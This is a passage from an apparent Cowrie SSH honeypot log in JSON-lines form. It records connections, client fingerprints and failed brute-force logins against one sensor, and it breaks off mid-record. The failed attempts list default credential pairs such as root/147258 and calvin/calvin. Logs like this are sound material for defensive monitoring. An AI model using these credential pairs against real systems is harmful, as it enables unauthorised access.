{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.595050Z","src_ip":"91.92.40.171","session":"a2bf038e1a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:34.779988Z","src_ip":"91.92.42.133","session":"6b0ba3c0238e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:35.065150Z","src_ip":"91.92.40.171","session":"a2bf038e1a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:35.896772Z","src_ip":"91.92.42.133","session":"6b0ba3c0238e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:36.148685Z","src_ip":"91.92.40.171","session":"a2bf038e1a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:37.968623Z","src_ip":"91.92.40.171","session":"b7214484062d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37076,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9571fb6da9","protocol":"ssh","message":"New connection: 91.92.40.171:37076 (159.203.135.109:22) [session: 2a9571fb6da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:39.910118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:39.917397Z","src_ip":"91.92.40.171","session":"2a9571fb6da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:40.001789Z","src_ip":"91.92.40.171","session":"2a9571fb6da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:40.249420Z","src_ip":"91.92.40.171","session":"2a9571fb6da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57390,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ba63584d8a","protocol":"ssh","message":"New connection: 27.71.230.31:57390 (159.203.135.109:22) [session: d3ba63584d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:40.473905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:40.532900Z","src_ip":"27.71.230.31","session":"d3ba63584d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.078493Z","src_ip":"27.71.230.31","session":"d3ba63584d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49390,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8a6d6b7ace6","protocol":"ssh","message":"New connection: 91.92.42.133:49390 (159.203.135.109:22) [session: a8a6d6b7ace6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.305844Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.351483Z","src_ip":"91.92.40.171","session":"2a9571fb6da9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.387692Z","src_ip":"91.92.42.133","session":"a8a6d6b7ace6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.442738Z","src_ip":"91.92.42.133","session":"a8a6d6b7ace6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:41.881106Z","src_ip":"91.92.42.133","session":"a8a6d6b7ace6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:43.236649Z","src_ip":"91.92.42.133","session":"a8a6d6b7ace6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2025","message":"login attempt [root/User2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:43.896468Z","src_ip":"27.71.230.31","session":"d3ba63584d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:45.159284Z","src_ip":"27.71.230.31","session":"d3ba63584d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51522,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e87ec226238","protocol":"ssh","message":"New connection: 91.92.40.171:51522 (159.203.135.109:22) [session: 8e87ec226238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:47.323139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:47.531600Z","src_ip":"91.92.40.171","session":"8e87ec226238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45114,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b4618d1203","protocol":"ssh","message":"New connection: 91.92.42.133:45114 (159.203.135.109:22) [session: c8b4618d1203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:47.633281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:47.874660Z","src_ip":"91.92.42.133","session":"c8b4618d1203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:47.984393Z","src_ip":"91.92.42.133","session":"c8b4618d1203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:48.465459Z","src_ip":"91.92.40.171","session":"8e87ec226238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:49.682606Z","src_ip":"91.92.42.133","session":"c8b4618d1203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51542,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5cfac94bf1a","protocol":"ssh","message":"New connection: 91.92.40.171:51542 (159.203.135.109:22) [session: e5cfac94bf1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:50.849769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:50.875058Z","src_ip":"91.92.40.171","session":"e5cfac94bf1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:50.939294Z","src_ip":"91.92.40.171","session":"e5cfac94bf1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:51.004730Z","src_ip":"91.92.42.133","session":"c8b4618d1203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:51.337286Z","src_ip":"91.92.40.171","session":"e5cfac94bf1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:52.503321Z","src_ip":"91.92.40.171","session":"e5cfac94bf1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:53.014066Z","src_ip":"91.92.40.171","session":"8e87ec226238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:54.676899Z","src_ip":"91.92.40.171","session":"8e87ec226238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51880,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a299d0cce99","protocol":"ssh","message":"New connection: 91.92.42.133:51880 (159.203.135.109:22) [session: 7a299d0cce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:55.062619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:55.139526Z","src_ip":"91.92.42.133","session":"7a299d0cce99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:55.231226Z","src_ip":"91.92.42.133","session":"7a299d0cce99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48952,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd3beeeff95","protocol":"ssh","message":"New connection: 91.92.40.171:48952 (159.203.135.109:22) [session: cbd3beeeff95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:56.040757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:56.158042Z","src_ip":"91.92.40.171","session":"cbd3beeeff95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@opens